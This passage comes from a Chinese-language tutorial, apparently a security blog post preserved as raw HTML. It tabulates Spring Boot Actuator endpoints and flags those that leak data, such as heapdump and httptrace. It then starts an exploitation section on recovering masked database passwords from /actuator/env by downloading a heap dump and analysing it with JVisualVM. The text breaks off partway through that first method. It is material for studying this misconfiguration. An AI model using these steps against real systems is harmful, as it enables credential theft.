204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/flyway</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">flyway端点提供有关 Flyway 执行的数据库迁移的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/health </span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">端点提供有关应用程序运行状况的health详细信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">/actuator/heapdump</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">heapdump端点提供来自应用程序 JVM 的堆转储。(通过分析查看/env端点被*号替换到数据的具体值。)</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">/actuator/httptrace</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(223, 64, 42);font-size: 12px;">httptrace端点提供有关 HTTP 请求-响应交换的信息。（包括用户HTTP请求的Cookie数据，会造成Cookie泄露等）。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/info</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">info端点提供有关应用程序的一般信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/integrationgraph</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">integrationgraph端点公开了一个包含所有 Spring Integration 组件的图。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/liquibase</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">liquibase端点提供有关 Liquibase 应用的数据库更改集的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/logfile</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">logfile端点提供对应用程序日志文件内容的访问。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/loggers</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">loggers端点提供对应用程序记录器及其级别配置的访问。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/mappings</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">mappings端点提供有关应用程序请求映射的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/metrics</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">metrics端点提供对应用程序指标的访问。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/prometheus</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">端点以prometheusPrometheus 服务器抓取所需的格式提供 Spring Boot 应用程序的指标。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/quartz</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">quartz端点提供有关由 Quartz 调度程序管理的作业和触发器的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/scheduledtasks</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">scheduledtasks端点提供有关应用程序计划任务的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/sessions</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">GET</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/startup</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">startup端点提供有关应用程序启动顺序的信息。</span></p></td></tr><tr style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: rgb(248, 248, 248);"><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);padding: 0.5em 1em;text-align: left;" width="83"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">POST</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;" width="151"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">/actuator/shutdown</span></p></td><td style="color: inherit;line-height: inherit;margin: 0px;font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em 1em;text-align: left;word-break: break-all;" width="341"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;margin-left: 0;"><span style="color: inherit;line-height: inherit;margin: 0px;padding: 0px;background-color: rgb(255, 255, 255);font-size: 12px;">shutdown端点用于关闭应用程序。</span></p></td></tr></tbody></table><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x04 漏洞利用</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">前面介绍过了Actuator一些基础后，现在来研究一下如果目标站点存在这个漏洞该如何利用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">首先访问一下/actuator/env：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.4046296296296296" title="image01" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e1836ad4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDaia7aOyIebIe2MkXQLNJIbURQ3rTQB7ziapL4lxppYHRhJNMsyjuxHZA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image01</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">该端点可以返回全部环境变量以及一些配置信息，其中就包含了数据库配置信息。但是我们可以看到password被用*代替了，这时就要想办法读取该数据了，获取明文密码办法有以下四种：</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.1 方法一</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用条件：</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口  </span></p></li></ul><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用方法：</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">首先访问/actuator/heapdump 接口，下载应用实时的 JVM 堆信息。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">然后通过JDK自带的JVisualVM工具对JVM堆的dump文件进行分析：</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">该工具路径为 JDK/bin/jvisualvm.exe</p><figure style="font-size: 